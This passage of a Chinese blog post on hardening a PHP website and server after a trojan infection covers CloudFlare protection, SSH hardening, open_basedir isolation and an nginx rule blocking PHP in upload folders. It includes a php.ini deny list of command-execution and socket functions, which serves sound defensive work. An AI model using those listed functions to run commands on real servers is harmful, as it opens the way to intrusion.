<h3 id="ftoc-heading-9" class="ftwp-heading">3.1 CloudFlare安全防护</h3>
<p>CloudFlare是一个CDN加速工具，但同时也可以安全防护工具，CloudFlare在防CC和DDos的能力方面还是相当地出色的，必要时开启CloudFlare的五秒盾。</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_12.png" rel="lightbox"><img class="wp-image-20353" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_12.png" alt="网站挂木马启用CloudFlare" /></a></figure>
<p>觉得手动切换CloudFlare五秒盾太麻烦的话，可以使用以下自动模式：</p>
<blockquote class="wp-block-quote">
<p><a href="https://wzfou.com/cloudflare-cc/" target="_blank" rel="noreferrer noopener">Cloudflare自动拉黑恶意IP到防火墙和自动切换5秒盾脚本防CC攻击</a></p>
</blockquote>
<h3 id="ftoc-heading-10" class="ftwp-heading">3.2 增强服务器的安全性</h3>
<p>首先，你需要对服务器的基本安全性作一个全面的了解，例如SSH默认的端口还是不要保留了，对于服务器后台的登录权限一定要高度重视：</p>
<blockquote class="wp-block-quote">
<p><a href="https://wzfou.com/linux-vps-sh/" target="_blank" rel="noreferrer noopener">VPS主机和服务器安全防护:SSH修改端口,添加白名单,仅限密钥登录</a></p>
</blockquote>
<p>如果你发现网站被CC攻击了，量少的话可以采取自动识别恶意IP并拉黑的方法，防护效率还是非常高的：</p>
<blockquote class="wp-block-quote">
<p><a href="https://wzfou.com/vps-cc-ddos/" target="_blank" rel="noreferrer noopener">VPS主机防攻击应对CC和DDOS的基本思路-防扫描防火墙阻止策略</a></p>
</blockquote>
<h3 id="ftoc-heading-11" class="ftwp-heading">3.3 增强PHP运行环境安全</h3>
<h3 id="ftoc-heading-12" class="ftwp-heading">禁用危险函数</h3>
<p>PHP提供的<code>system()</code>等函数可以直接执行系统命令，如果程序限制不严谨或写法不规范,被骇客利用是非常危险的，禁用此类较为危险的函数非常有必要。需要修改<code>php.ini</code>，添加如下内容：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen</span></li>
</ol>
</div>
<h3 id="ftoc-heading-13" class="ftwp-heading">防止跨站攻击</h3>
<p>跨站攻击通常表现为A网站被黑之后，骇客利用脚本再次访问B网站或其它目录，最终可能导致所有网站全部沦陷。</p>
<p><code>open_basedir</code><span> </span>参数将php所能打开的文件限制在指定的目录树中，包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时，这个文件的位置将会被检查。当文件在指定的目录树之外，程序将拒绝打开。open_basedir设置的方法比较多，这里列出几个常用的。</p>
<h3 id="ftoc-heading-14" class="ftwp-heading">php.ini设置</h3>
<p>可以直接修改<code>php.ini</code>直接加入</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">open_basedir=</span><span class="st0">"指定目录"</span></li>
</ol>
</div>
<h3 id="ftoc-heading-15" class="ftwp-heading">从PHP脚本上设置</h3>
<p>在程序脚本上限制：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="kw1">ini_set</span><span class="br0">(</span><span class="st0">'open_basedir'</span><span class="">, </span><span class="st0">'指定目录'</span><span class="br0">)</span><span class="">;</span></li>
</ol>
</div>
<h3 id="ftoc-heading-16" class="ftwp-heading">通过.user.ini 进行设置</h3>
<p>先来看看官方具体是如何解释<code>.user.ini</code>这个文件的：</p>
<blockquote class="wp-block-quote">
<p>自 PHP 5.3.0 起，PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI／FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache，则用 .htaccess 文件有同样效果。</p>
<p>除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$_SERVER 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。</p>
<p>在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。</p>
</blockquote>
<p>简而言之，也就是说当PHP以CGI／FastCGI SAPI方式运行时，会去读取一个<code>.user.ini</code>的配置，我们可以在这里面设定<code>open_basedir</code>参数来防止跨站。</p>
<p>在站点根目录下新建一个<code>.user.ini</code>，内容如下：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">open_basedir=/data/wwwroot/:/tmp/:/proc/</span></li>
</ol>
</div>
<p>为防止<code>.user.ini</code>被篡改，可以给这个文件加上隐藏属性。</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">chattr +i .user.ini</span></li>
</ol>
</div>
<p>目前已知的宝塔面板，军哥<a href="https://wzfou.com/tag/lnmp/" target="_blank" rel="noreferrer noopener">LNMP</a>（lnmp.org）默认使用<code>.user.ini</code>来防止跨站，这个方式非常灵活，可以针对某个网站单独设置。也可以直接写在fastcgi.conf中根据网站目录自动限制：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">fastcgi_param PHP_ADMIN_VALUE “open_basedir=$document_root/:/tmp/:/proc/”; </span></li>
</ol>
</div>
<h3 id="ftoc-heading-17" class="ftwp-heading">禁止部分目录执行PHP</h3>
<p>大多数PHP框架，如CodeIgniter、ThinkPHP都是单一入口，只需要<code>index.php</code>有入口权限程序就能正常运行。上传目录、静态文件目录完全没必须要赋予PHP执行权限，否则反而可能被利用。nginx可以通过下面的规则来禁止某个目录执行PHP：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="co1">#uploads|templets|data 这些目录禁止执行PHP</span><span class=""></span></li>
<li class=" even"><span class="">location ~* ^/</span><span class="br0">(</span><span class="">uploads|templets|data</span><span class="br0">)</span><span class="">/.*.</span><span class="br0">(</span><span class="">php|php5</span><span class="br0">)</span><span class="">$ </span><span class="br0">{</span><span class=""></span></li>
<li class=" odd"><span class=""> return </span><span class="nu0">444</span><span class="">;</span></li>
<li class=" even"><span class=""></span><span class="br0">}</span></li>
</ol>
</div>
<h2 id="ftoc-heading-18" class="ftwp-heading">四、总结</h2>
<p>vps.wzfou.com被挂木马的事件基本上可以判定是程序的问题了，因为经过仔细观察基它的采用了VPS-Inventory-Monitoring架构的平台也是出现了同样的问题，可以推断攻击者找到了程序的漏洞进而进行了破坏。</p>
<p>面对网站挂木马和服务器被黑，不用太紧张，仔细分析一下网页源码、服务器后台登录记录、Nginx或者Apache日志以及文件日期对比，基本上可以锁定入侵者的“作案手法”以及“邪恶用心”。为防止留有后门，记得重装系统。</p>
<p> </p>
<p>From <a href="https://wzfou.com/wangzhan-muma/">https://wzfou.com/wangzhan-muma/</a></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/%e7%bd%91%e7%ab%99%e6%8c%82%e6%9c%a8%e9%a9%ac%e5%92%8c%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%e9%bb%91%e6%8e%92%e6%9f%a5%e5%88%86%e6%9e%90-vps%e4%b8%bb%e6%9c%ba%e5%92%8c%e6%9c%8d%e5%8a%a1%e5%99%a8/</guid>
                    </item>
							        </channel>
        </rss>
		